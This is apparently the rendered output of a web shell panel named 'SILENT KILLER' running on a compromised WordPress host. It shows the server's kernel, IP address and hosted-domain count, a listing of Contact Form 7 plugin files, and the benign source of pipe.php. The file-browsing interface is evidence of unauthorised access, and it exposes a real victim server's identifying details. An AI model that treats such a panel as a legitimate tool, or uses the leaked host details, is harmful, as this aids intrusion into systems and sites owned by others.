SILENT KILLERPanel

Current Path: > home > transcarter > > www > > wp-content > plugins > > contact-form-7 > includes


Operation   : Linux host59.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
Software     : Apache
Server IP    : 198.54.126.42 | Your IP: 216.73.216.135
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/transcarter//www//wp-content/plugins//contact-form-7/includes

NameTypeSizeLast ModifiedActions
block-editor Directory - -
config-validator Directory - -
css Directory - -
js Directory - -
swv Directory - -
capabilities.php File 834 bytes January 21 2025 20:36:08.
contact-form-functions.php File 10497 bytes January 21 2025 20:36:08.
contact-form-template.php File 5826 bytes January 21 2025 20:36:08.
contact-form.php File 31318 bytes January 21 2025 20:36:08.
controller.php File 3269 bytes January 21 2025 20:36:08.
file.php File 10398 bytes January 21 2025 20:36:08.
form-tag.php File 13741 bytes January 21 2025 20:36:08.
form-tags-manager.php File 14572 bytes January 21 2025 20:36:08.
formatting.php File 13827 bytes January 21 2025 20:36:08.
functions.php File 15913 bytes January 21 2025 20:36:08.
html-formatter.php File 16713 bytes January 21 2025 20:36:08.
integration.php File 8955 bytes January 21 2025 20:36:08.
l10n.php File 3454 bytes January 21 2025 20:36:08.
mail-tag.php File 4194 bytes January 21 2025 20:36:08.
mail.php File 14876 bytes January 21 2025 20:36:08.
pipe.php File 2622 bytes January 21 2025 20:36:08.
pocket-holder.php File 325 bytes January 21 2025 20:36:08.
rest-api.php File 13194 bytes January 21 2025 20:36:08.
shortcodes.php File 2710 bytes January 21 2025 20:36:08.
special-mail-tags.php File 6661 bytes January 21 2025 20:36:08.
submission.php File 20797 bytes January 21 2025 20:36:08.
upgrade.php File 3071 bytes January 21 2025 20:36:08.
validation-functions.php File 6821 bytes January 21 2025 20:36:08.
validation.php File 3297 bytes January 21 2025 20:36:08.

Reading File: /home/transcarter//www//wp-content/plugins//contact-form-7/includes/pipe.php

<?php
/**
 * Pipe-related classes.
 *
 * @link https://contactform7.com/selectable-recipient-with-pipes/
 */


/**
 * Class representing a pair of pipe.
 */
class WPCF7_Pipe {

	public $before = '';
	public $after = '';

	public function __construct( $text ) {
		$text = (string) $text;

		$pipe_pos = strpos( $text, '|' );

		if ( false === $pipe_pos ) {
			$this->before = $this->after = trim( $text );
		} else {
			$this->before = trim( substr( $text, 0, $pipe_pos ) );
			$this->after = trim( substr( $text, $pipe_pos + 1 ) );
		}
	}
}


/**
 * Class representing a list of pipes.
 */
class WPCF7_Pipes {

	private $pipes = array();

	public function __construct( $texts = null ) {
		foreach ( (array) $texts as $text ) {
			$this->add_pipe( $text );
		}
	}

	private function add_pipe( $text ) {
		$pipe = new WPCF7_Pipe( $text );
		$this->pipes[] = $pipe;
	}

	public function merge( self $another ) {
		$this->pipes = array_merge( $this->pipes, $another->pipes );
	}

	public function do_pipe( $input ) {
		$input_canonical = wpcf7_canonicalize( $input, array(
			'strto' => 'as-is',
		) );

		foreach ( $this->pipes as $pipe ) {
			$before_canonical = wpcf7_canonicalize( $pipe->before, array(
				'strto' => 'as-is',
			) );

			if ( $input_canonical === $before_canonical ) {
				return $pipe->after;
			}
		}

		return $input;
	}

	public function collect_befores() {
		$befores = array();

		foreach ( $this->pipes as $pipe ) {
			$befores[] = $pipe->before;
		}

		return $befores;
	}

	public function collect_afters() {
		$afters = array();

		foreach ( $this->pipes as $pipe ) {
			$afters[] = $pipe->after;
		}

		return $afters;
	}

	public function zero() {
		return empty( $this->pipes );
	}

	public function random_pipe() {
		if ( $this->zero() ) {
			return null;
		}

		return $this->pipes[array_rand( $this->pipes )];
	}

	public function to_array() {
		return array_map(
			static function ( WPCF7_Pipe $pipe ) {
				return array(
					$pipe->before,
					$pipe->after,
				);
			},
			$this->pipes
		);
	}
}


/**
 * Trait for classes that hold cross-tag WPCF7_Pipes object.
 */
trait WPCF7_PipesHolder {

	protected $pipes;

	public function get_pipes( $field_name ) {
		if ( isset( $this->pipes[$field_name] ) ) {
			return $this->pipes[$field_name];
		}

		$result = new WPCF7_Pipes;

		$tags = $this->scan_form_tags( array(
			'name' => $field_name,
		) );

		foreach ( $tags as $tag ) {
			if ( $tag->pipes instanceof WPCF7_Pipes ) {
				$result->merge( $tag->pipes );
			}
		}

		return $this->pipes[$field_name] = $result;
	}

	public function scan_form_tags() {
		return array();
	}

}

SILENT KILLER Tool